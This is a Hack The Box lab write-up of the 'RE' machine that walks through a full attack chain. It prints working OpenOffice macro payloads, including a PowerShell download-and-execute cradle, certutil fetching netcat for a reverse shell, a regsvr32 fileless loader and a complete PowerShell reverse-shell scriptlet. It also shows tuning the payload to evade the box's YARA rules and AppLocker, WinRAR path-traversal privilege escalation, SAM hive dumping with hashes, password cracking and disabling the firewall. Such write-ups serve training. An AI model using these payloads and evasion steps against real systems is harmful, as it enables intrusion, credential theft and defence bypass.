#HTB Purple Team Writeup! (RE) #1

ismail kaleem
14 min readJun 16, 2020

This was my first box and attempt on #Hackthebox

This article will be more focused towards the blue team in implementing defenses which I would be covering in the part #2.

1. Reconnaissance

Extra: Ping to understand what is the underlying operating system. A TTL above 64 suggests the operating system might be Windows and below 64 suggests *nix but you can reconfirm with a nmap; this maybe helpful when there is some sort of IDPS/WAF with a virtual IP to know if something is meddling with your requests.

  • TTL=64 = *nix — the hop count so if your getting 61 then there are 3 hops and its a *nix device. Most likely Linux.
  • TTL=128 = Windows — again if the TTL is 127 then the hop is 1 and its a Windows box.
  • TTL=254 = Solaris/AIX — again if the TTL is 250 then the hop count is 4 and its a Solaris box.

The Cyber Kill Chain

“The cyber kill chain is a series of steps that trace stages of a cyberattack from the early reconnaissance stages to the ex-filtration of data.”

Lockheed Martin derived the kill chain framework from a military model — originally established to identify, prepare to attack, engage, and destroy the target. Since its inception, the kill chain has evolved to better anticipate and recognize insider threats, social engineering, advanced ransomware and innovative attacks.

Reconnaissance: Intruder selects target, researches it, and attempts to identify vulnerabilities in the target network.

nmap 10.10.10.144 -sC -sV -p 20-65354

Nmap scan result is below (note: there are no udp open ports).

I could see port 80 and 445

The aspnet_client/system_web folder contents or the root directory are interesting area’s to look for when pentesting IIS.

Information Gathering

You will require to add reblog.htb to your host file with the IP for http enum

User accounts gathered from enumerating http://reblog.htb

Author is coby
Footer with malware@re.htb
Kenny is IT staff.

SMB Enumeration

#hint: I got two users from the reblog.htb website.

Enumerate SMB shares on the box.

smbclcient -N -L \\10.10.10.144

You can also check for anonymous authentications using smbcient -U anonymous or just simply trying with “root” user as shown below.

Checking if “anonymous” user has permissions with SMBMAP

SmbMap shows that there are no write privileges on any of the shared folders. This actually really confused me as i thought there was no privileges and ended up going after enumerated users for getting access to users with permissions.

You don’t necessarily need to use anonymous user; passing a non-existing user will also show back the results when null sessions are supported.

Understanding IPC$

The inter-process communication share (“IPC$”) is a special case. It’s the share that allows remote Named Pipe access. Names Pipes are an old-school method used to allow two services to talk with each other, even over a network connection. IPC$ functionality has been around for ages and default access rules to IPC$ has changed with each release of Windows. Older versions of Windows may behave differently than these tests.

net use \\10.19.0.3\IPC$ "" /user:

You may notice that SMB is using NTLM authentication and not Kerberos in some tests. This can happen when an IP address is used instead of a hostname or FQDN (Fully Qualified Domain Name). This is because an IP address is not a valid Kerberos object.

Enumerating Users with lookupsid

You may brute the users; though i honestly hate brute-forcing as its too noisy.

The lookupsid.py does not show “malware@RE.htb” and then i figured this was a null login with a non existing username.

Verifying Write Permissions for the shared directory

This box deletes whatever you write to the shared folder in less than 5 seconds suggesting there is some automated script. The “anonymous” user has write privileges to the malware_dropbox share.

Honestly, i thought this share was a “honeypot

2. WEAPONIZATION

Weaponization: Intruder creates remote access malware weapon, such as a virus or worm, tailored to one or more vulnerabilities.

Back to Square #1

“There seems something really fishy with the SMB Share.”

Went back and read more on reblog.htb; it seems like the files dropped into the smb share are checked using some automated script with yara rules and there were topic’s mentioning about some phishing attacks.

Generated a Re.odt (macros) and this seemed to be catching up on yara rules!

Scanning on VT shows that the powershell payload is getting detected. The website also mentions that there are rules to look for PowerShell and cmd in Macros. So my best guess is to use another LOLBin

Virus Total results show that it is pretty much detected!

#AV Bypass — Yara Rules

Scanning with Yara Rules to see where the detection was;

A little dive into Yara rules.

I haven’t changed the “Sub OnLoad” because of the yara condition set as all of ($get*) or 3 of ($func* to be true). Since we changed the func2, func3 and func4 it won’t meet the condition of 3 functions true.

So the strings I have changed are from GetOS to GotOS, getGUIType to GotGUIType and GetExtName to GotExtName.

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE script:module PUBLIC “-//OpenOffice.org//DTD OfficeDocument 1.0//EN” “module.dtd”>
<script:module xmlns:script=”http://openoffice.org/2000/script" script:name=”Module1" script:language=”StarBasic”>REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GotOS
If os = “windows” OR os = “osx” OR os = “linux” Then
Notploit
end If
End Sub
Sub Notploit
Shell(“cmd.exe /C “”powershell.exe -nop -w hidden -c $i=new-object net.webclient;$i.proxy=[Net.WebRequest]::GetSystemWebProxy();$i.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $i.downloadstring(‘http://10.10.15.252/test.txt');""";)
End Sub
Function GotOS() as string
select case gotGUIType
case 1:
GotOS = “windows”
case 3:
GotOS = “osx”
case 4:
GotOS = “linux”
end select
End Function
Function GotExtName() as string
select case GotOS
case “windows”
GetFileName = “exe”
case else
GetFileName = “bin”
end select
End Function

</script:module>

It seems to be clean now; However the website mentions that there are basic rules to look for PowerShell and Cmd in Macros. We will have to use something other than Powershell.exe and cmd.exe. I have deleted the powershell code and checked with VT (Don’t scan on VT).

I quickly thought of another way to bypass and used regsvr32

Great, the malicious file seems totally FUD now.

1. CERTUTIL [This is not recommended!]

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"><script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM  *****  BASIC  *****Sub OnLoadShell("certutil.exe -urlcache -split -f 'http://10.10.14.8/nc.exe' C:\Windows\System32\spool\drivers\color\nc.exe")Shell("C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.8 8443 -e cmd.exe")End Sub</script:module>

2. REGSVR32 Deploy File-less Reverse Shell

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"><script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM  *****  BASIC  *****Sub OnLoadShell("regsvr32.exe /s /n /u /i:http://MY-IP/open.sct scrobj.dll")End Sub</script:module>

It is always a good practice to check if things work before delivering actual payload. I started nginx and ran tail -f /var/log/nginx/access.log to see if there are any reverse connections to the box before providing the vbscript.

You may also use nc -lnvp 80 to listen for requests.

We know the server is connecting back to the payload.

The backdoor open.sct [ powershell reverse shell one-liner]

<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $client = New-Object System.Net.Sockets.TCPClient('LISTENIP',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"); ]]>
</script>
</registration>
</scriptlet>

3. Conhost.exe EDR Bypass with directory traversal

When executing with conhost.exe; it executes the process without a parent PID and thus begins endless possibilities. The process execution without parent PID is going to annoy blue team a little bit!!!!!

This is going to be actively abused until the directory traversal is fixed! R.I.P

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"><script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM  *****  BASIC  *****Sub OnLoadShell("conhost.exe calc.exe/../../windows/system32/regsvr32.exe /s /n /u /i:http://10.10.14.8/open.sct scrobj.dll")End Sub</script:module>

3. DELIVERY

Delivery: Intruder transmits weapon to target (e.g., via e-mail attachments, websites or USB drives but in our case ODS File via smb).

This list contains generic methods of bypassing AppLocker.

Placing files in writeable paths

The following folders are by default writable by normal users (depends on Windows version — This is from W10 1803)

C:\Windows\TasksC:\Windows\TempC:\windows\tracingC:\Windows\Registration\CRMLogC:\Windows\System32\FxsTmpC:\Windows\System32\com\dmpC:\Windows\System32\Microsoft\Crypto\RSA\MachineKeysC:\Windows\System32\spool\PRINTERSC:\Windows\System32\spool\SERVERSC:\Windows\System32\spool\drivers\color <--- works most of the time!C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenterC:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)C:\Windows\SysWOW64\FxsTmpC:\Windows\SysWOW64\com\dmpC:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenterC:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

Verified AppLocker bypasses for Default rules

This list contains all the bypasses that has been verified to bypass AppLocker default rules.

Installutil.exe
Msbuild.exe
Mshta.exe
Presentationhost.exe
Regasm.exe
Regsvcs.exe

Anyway, these are LOLbin’s you can use to bypass; as a blueteam member you need to watch these process executions VERY CLOSELY as these are used by advanced adversaries to bypass AppLocker and Anti-Virus.

Anyways, we have the msf.ods file and just need to upload it to the smb share.

3. EXPLOITATION

The fourth stage of the cyber kill chain is exploitation and it’s where weaknesses within your system are exploited. Hackers can now start attempting to escalate privileges, make modifications or start dropping extra components.

Finally, we get a shell and the user flag.txt

$process_dir = "C:\Users\luke\Documents\malware_process"
$files_to_analyze = "C:\Users\luke\Documents\ods"
$yara = "C:\Users\luke\Documents\yara64.exe"
$rule = "C:\Users\luke\Documents\ods.yara"
while($true) {
# Get new samples
move C:\Users\luke\Documents\malware_dropbox\* $process_dir
# copy each ods to zip file
Get-ChildItem $process_dir -Filter *.ods |
Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"}
Get-ChildItem $process_dir -Filter *.zip | ForEach-Object {# unzip archive to get access to content
$unzipdir = Join-Path $_.directory $_.Basename
New-Item -Force -ItemType directory -Path $unzipdir | Out-Null
Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir
# yara to look for known malware
$yara_out = & $yara -r $rule $unzipdir
$ods_name = $_.fullname -replace ".zip", ".ods"
if ($yara_out.length -gt 0) {
Remove-Item $ods_name
}
}
# if any ods files left, make sure they launch, and then archive:
$files = ls $process_dir\*.ods
if ( $files.length -gt 0) {
# launch ods files
Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods"
Start-Sleep -s 5
# kill open office, sleep
Stop-Process -Name soffice*
Start-Sleep -s 5
#& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null
Compress-Archive -Path "$process_dir\*.ods" -DestinationPath "$process_dir\temp.zip"
$hash = (Get-FileHash -Algorithm MD5 $process_dir\temp.zip).hash
# Upstream processing may expect rars. Rename to .rar
Move-Item -Force -Path $process_dir\temp.zip -Destination $files_to_analyze\$hash.rar
}
Remove-Item -Recurse -force -Path $process_dir\*
Start-Sleep -s 5

This is the powershell script which is hunting for malicious files using yara.

  1. # Get new samples (copy to malware_process folder)
  2. # change each ods to zip file
  3. # unzip archive to get access to content {$unzipdir}
  4. # yara to look for known malware {check $unzipdir) with yara rule; rename .zip back to .ods file; if yara rule match count more than 1 then delete the .ods file inside $unzipdir}
  5. # if any ods files left, make sure they launch, and then archive: {This is where our payload gets executed.}
  6. # kill open office, sleep
  7. #& ‘C:\Program Files (x86)\WinRAR\Rar.exe’ a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null {‘a’ Add files to archive from $process_dir\ matching all *.ods to temp.rar, moves the temp.zip inside $process_dir to $files_to_analyze\$hash.rar}

The 7th step looks rather confusing with $files_to_analyze = “C:\Users\luke\Documents\ods” folder and this folder being empty. We know the archive is last converted to a winrar file in this directory. The comment on this line gives us a hint that rar.exe is being used? and the folder $files_to_analyze is always empty?

WinRAR is installed and present although restricted to Administrators and Builtin Users

The Yara rule which was being used is provided below.

rule metasploit
{
strings:
$getos = "select case getGUIType" nocase wide ascii
$getext = "select case GetOS" nocase wide ascii
$func1 = "Sub OnLoad" nocase wide ascii
$func2 = "Sub Exploit" nocase wide ascii
$func3 = "Function GetOS() as string" nocase wide ascii
$func4 = "Function GetExtName() as string" nocase wide ascii
condition:
(all of ($get*) or 2 of ($func*))
}
rule powershell
{
strings:
$psh1 = "powershell" nocase wide ascii
$psh2 = "new-object" nocase wide ascii
$psh3 = "net.webclient" nocase wide ascii
$psh4 = "downloadstring" nocase wide ascii
$psh5 = "downloadfile" nocase wide ascii
$psh6 = "iex" nocase wide ascii
$psh7 = "-e" nocase wide ascii
$psh8 = "iwr" nocase wide ascii
$psh9 = "-outfile" nocase wide ascii
$psh10 = "invoke-exp" nocase wide ascii
condition:
2 of ($psh*)
}
rule cmd
{
strings:
$cmd1 = "cmd /c" nocase wide ascii
$cmd2 = "cmd /k" nocase wide ascii
condition:
any of ($cmd*)
}

It looks like we have a clear understanding of the rule here and what might look interesting would be to try a directory traversal with rar.exe

Quickly checked up permission for wwwroot and looks like only coby and cam has access! Let’s see if we could elevate as one of the users.

Lets test whether the rar.exe directory traversal vulnerability works or not!

This should drop the evil.txt file inside C:\Windows\Tasks

Dropped the file evil.rar inside \ods\ folder

The bad empty file got dropped in the folder suggesting it is possible for successful privilege escalation by dropping the file inside wwwroot as executing from web as iis app pool permissions.

Usually the malicious file is dropped into the startup folder of the profile; however in this case; the malicious file can be dropped into the inetpub/wwwroot/blog folder hosting the website

I cant seem to view the permissions of the file!

To get a reverseshell

powershell.exe -nop -ep bypass -c "iex ((New-Object Net.WebClient).DownloadString('http://host/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 8443"
Checking the permissions of the listed file

Perm is a permission mask that can be specified in one of the following forms:

  1. A sequence of simple rights:
  • F (full access)
  • M (modify access)
  • RX (read and execute access)
  • R (read-only access)
  • W (write-only access)

2. A comma-separated list in parenthesis of specific rights:

  • D (delete)
  • RC (read control)
  • WDAC (write DAC)
  • WO (write owner)
  • S (synchronize)
  • AS (access system security)
  • MA (maximum allowed)
  • GR (generic read)
  • GW (generic write)
  • GE (generic execute)
  • GA (generic all)
  • RD (read data/list directory)
  • WD (write data/add file)
  • AD (append data/add subdirectory)
  • REA (read extended attributes)
  • WEA (write extended attributes)
  • X (execute/traverse)
  • DC (delete child)
  • RA (read attributes)
  • WA (write attributes)

3. Inheritance rights may precede either Perm form, and they are applied only to directories:

  • (OI): object inherit
  • (CI): container inherit
  • (IO): inherit only
  • (NP): do not propagate inherit
  • (I): permission inherited from parent container

Lets enumerate with PowerUp now! :))

powershell.exe -nop -ep bypass -c "iex ((New-Object Net.WebClient).DownloadString('http://10.10.14.8/PowerUp.ps1'));Invoke-AllChecks"
Now there goes the service we can abuse to get local administrator privileges!

abuse the service….

The process terminates kinda pretty quick within about 10 seconds.

We are now logged in with nt authority\system

It seems like the file is encrypted with EFS encryption. I consider efs encryption as the little brother of AD RMS based encryption.

Since, we have now SYSTEM NT PRIVILEGES, it is possible to extract the hashes using multiple methods; I have used reg save as a lazy method and downloaded the files from the website after dumping to the directory.

The reason we are dumping the hashes, is to pth using coby or administrator to be able t retrieve the flag. However, we can crack the NTLM hash to retrieve the password as well.

Quickly grabbed the SAM files and dumped the hashesreg save HKLM\SAM C:\inetpub\wwwroot\blog\SAM.zip
reg save HKLM\SYSTEM C:\inetpub\wwwroot\blog\SYSTEM.zip
reg save HKLM\SECURITY C:\inetpub\wwwroot\blog\SECURITY.zip
Download - http://reblog.htb/{FILE}.zip

Dumping NTLM hashes from SAM

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:s:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:275fb2a3ea8b2433976482b69b94497b:::
coby:1000:aad3b435b51404eeaad3b435b51404ee:fa88e03e41fdf7b707979c50d57c06cf:::
luke:1001:aad3b435b51404eeaad3b435b51404ee:3670611a3c1a68757854520547ab5f24:::
cam:1002:aad3b435b51404eeaad3b435b51404ee:1916525df2db99ef56a75152807da93d:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0xfa55a39698bf172b7167be8a42cf29e624a6ac78
dpapi_userkey:0x561dd7dd013fe1fae56741de7e5f47d7fe88cc37

Finally we have the password!

Save the hashes to a list and begin cracking with hashcat! (optional)

hashcat64.exe -m 1000 -w 3 -a 0 -p : --session=all --username reblog.txt rockyou.txtThe hash fa88e03e41fdf7b707979c50d57c06cf:championship2005

SMB Authentication seem to be just allowing null logins!

Checking Netstat LISTEN ports (for services)

netstat checking for all listening ports (5985 looks interesting)TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING
TCP 10.10.10.144:139 0.0.0.0:0 LISTENING
TCP [::]:80 [::]:0 LISTENING
TCP [::]:135 [::]:0 LISTENING
TCP [::]:445 [::]:0 LISTENING
TCP [::]:5985 [::]:0 LISTENING
TCP [::]:47001 [::]:0 LISTENING
TCP [::]:49664 [::]:0 LISTENING
TCP [::]:49665 [::]:0 LISTENING
TCP [::]:49666 [::]:0 LISTENING
TCP [::]:49667 [::]:0 LISTENING
TCP [::]:49668 [::]:0 LISTENING
TCP [::]:49669 [::]:0 LISTENING

Checking the Windows System Local Firewall Properties

netsh advfirewall show allprofiles
netsh advfirewall set privateprofile state offnetsh advfirewall firewall add rule name=”remote” protocol=TCP dir=in localport=5985 action=allow

Kudos, the port is now open

Finally we are able to open the flag.

The Kill-Chain steps 5,6 and 7 are not considered as this is just a htb box!

In the next part i would be writing about some mitigation techniques with a few threat hunting automatons, SIEM analysis and Automated Alerting using webhooks to Telegram.

--

--